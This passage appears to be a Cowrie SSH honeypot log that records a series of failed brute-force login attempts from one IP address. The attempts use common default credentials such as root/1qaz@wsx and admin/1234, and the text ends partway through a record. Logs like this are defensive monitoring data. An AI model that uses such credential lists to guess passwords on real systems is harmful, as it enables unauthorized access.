{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:32.845845Z","src_ip":"5.196.136.131","session":"456f4aff753d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:33.101854Z","src_ip":"5.196.136.131","session":"456f4aff753d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:34.183219Z","src_ip":"5.196.136.131","session":"456f4aff753d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":26765,"dst_ip":"10.17.0.5","dst_port":22,"session":"e24a99b93001","protocol":"ssh","message":"New connection: 5.196.136.131:26765 (10.17.0.5:22) [session: e24a99b93001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:37.176265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:37.180069Z","src_ip":"5.196.136.131","session":"e24a99b93001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:37.264558Z","src_ip":"5.196.136.131","session":"e24a99b93001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:37.502990Z","src_ip":"5.196.136.131","session":"e24a99b93001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:38.584585Z","src_ip":"5.196.136.131","session":"e24a99b93001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":27071,"dst_ip":"10.17.0.5","dst_port":22,"session":"01fb9615e714","protocol":"ssh","message":"New connection: 5.196.136.131:27071 (10.17.0.5:22) [session: 01fb9615e714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:41.643240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:41.666051Z","src_ip":"5.196.136.131","session":"01fb9615e714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:41.726138Z","src_ip":"5.196.136.131","session":"01fb9615e714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:42.046284Z","src_ip":"5.196.136.131","session":"01fb9615e714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:43.130784Z","src_ip":"5.196.136.131","session":"01fb9615e714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":34085,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f539ff6c2e","protocol":"ssh","message":"New connection: 5.196.136.131:34085 (10.17.0.5:22) [session: a1f539ff6c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:46.034198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:46.037908Z","src_ip":"5.196.136.131","session":"a1f539ff6c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:46.114768Z","src_ip":"5.196.136.131","session":"a1f539ff6c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:46.381042Z","src_ip":"5.196.136.131","session":"a1f539ff6c2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:47.461134Z","src_ip":"5.196.136.131","session":"a1f539ff6c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":56443,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c10bf010488","protocol":"ssh","message":"New connection: 5.196.136.131:56443 (10.17.0.5:22) [session: 1c10bf010488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:50.373600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:50.376930Z","src_ip":"5.196.136.131","session":"1c10bf010488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:50.454674Z","src_ip":"5.196.136.131","session":"1c10bf010488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:50.690235Z","src_ip":"5.196.136.131","session":"1c10bf010488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:51.769550Z","src_ip":"5.196.136.131","session":"1c10bf010488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":37662,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfd7110f383d","protocol":"ssh","message":"New connection: 5.196.136.131:37662 (10.17.0.5:22) [session: bfd7110f383d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:54.851956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:54.855739Z","src_ip":"5.196.136.131","session":"bfd7110f383d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:54.936897Z","src_ip":"5.196.136.131","session":"bfd7110f383d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:55.182413Z","src_ip":"5.196.136.131","session":"bfd7110f383d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:56.266407Z","src_ip":"5.196.136.131","session":"bfd7110f383d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19367,"dst_ip":"10.17.0.5","dst_port":22,"session":"b181b690ae49","protocol":"ssh","message":"New connection: 5.196.136.131:19367 (10.17.0.5:22) [session: b181b690ae49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:59.266634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:59.270638Z","src_ip":"5.196.136.131","session":"b181b690ae49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:59.350115Z","src_ip":"5.196.136.131","session":"b181b690ae49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:40:59.582179Z","src_ip":"5.196.136.131","session":"b181b690ae49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:00.660820Z","src_ip":"5.196.136.131","session":"b181b690ae49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":29389,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b76dded646","protocol":"ssh","message":"New connection: 5.196.136.131:29389 (10.17.0.5:22) [session: 33b76dded646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:03.618980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:03.622992Z","src_ip":"5.196.136.131","session":"33b76dded646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:03.700880Z","src_ip":"5.196.136.131","session":"33b76dded646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:03.934756Z","src_ip":"5.196.136.131","session":"33b76dded646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:05.015404Z","src_ip":"5.196.136.131","session":"33b76dded646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":52184,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba50dd874aba","protocol":"ssh","message":"New connection: 5.196.136.131:52184 (10.17.0.5:22) [session: ba50dd874aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:07.956632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:41:07.960408Z","src_ip":"5.196.136.131","session":"ba50dd874aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 